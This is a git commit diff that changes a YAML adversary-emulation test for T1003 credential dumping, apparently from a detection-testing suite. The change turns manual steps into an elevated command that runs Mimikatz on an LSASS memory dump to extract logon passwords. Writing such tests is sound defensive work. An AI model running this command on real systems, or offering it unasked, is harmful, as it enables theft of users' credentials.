Improve test 7 (Offline Mimikatz) for T1003 that performs Credential Dumping (#760)

This commit is contained in:
Mr B0b
2019-12-30 16:18:57 +01:00
committed by Carrie Roberts
parent f7a918d875
commit fc060f9e92
+10 -12
View File
@@ -137,22 +137,20 @@ atomic_tests:
- windows
input_arguments:
mimikatz_binary_path:
description: Path of the Mimikatz binary
type: string
default: $PathToAtomicsFolder\T1003\bin\mimikatz.exe
input_file:
description: Path where resulting dump should be placed
description: Path of the Lsass dump
type: Path
default: lsass_dump.dmp
default: C:\Windows\Temp\lsass_dump.dmp
executor:
name: manual
steps: |
1. Open Mimikatz:
Execute `mimikatz` at a command prompt.
2. Select a Memory Dump:
Within the Mimikatz interactive shell, execute `sekurlsa::minidump #{input_file}`
3. Obtain Credentials:
Within the Mimikatz interactive shell, execute `sekurlsa::logonpasswords full`
name: command_prompt
elevation_required: true
command: |
#{mimikatz_binary_path} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
- name: Dump Active Directory Database with NTDSUtil
description: |